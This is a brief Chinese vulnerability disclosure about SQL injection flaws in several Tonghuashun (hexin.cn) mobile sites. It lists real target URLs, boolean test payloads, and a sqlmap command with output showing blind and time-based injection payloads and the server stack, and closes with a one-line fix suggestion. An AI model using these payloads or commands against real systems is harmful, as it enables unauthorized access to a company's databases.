同花顺多个站点SQL注入漏洞

  • 2022-07-04 11:49:00

同花顺多个站点SQL注入漏洞

移动站点的各种群集

https://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

https://hntel.hexin.cn/hntelxhtml/dlModelFile.php?brand=3g

各处存在不同的漏洞

/dlarea/dl_model.php?bid=1&bname=%E9%80%9A%E7%94%A8%E5%8C%BA&mid=1902&mname=1.5%E7%B3%BB%E7%BB%9F%E5%8F%8A%E4%BB%A5%E4%B8%8A&from=
 

https://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42 and 1=1&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

返回正常

https://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42 and 1=2&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

返回记录不存在

python sqlmap.py -u "https://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6"
---
Parameter: ptid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ptid=765 AND 3360=3360&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: ptid=765 AND SLEEP(5)&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6
---
[13:18:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.22, PHP 5.6.10
back-end DBMS: MySQL 5.0.11

解决方案:

加入通用防注入。

猜你喜欢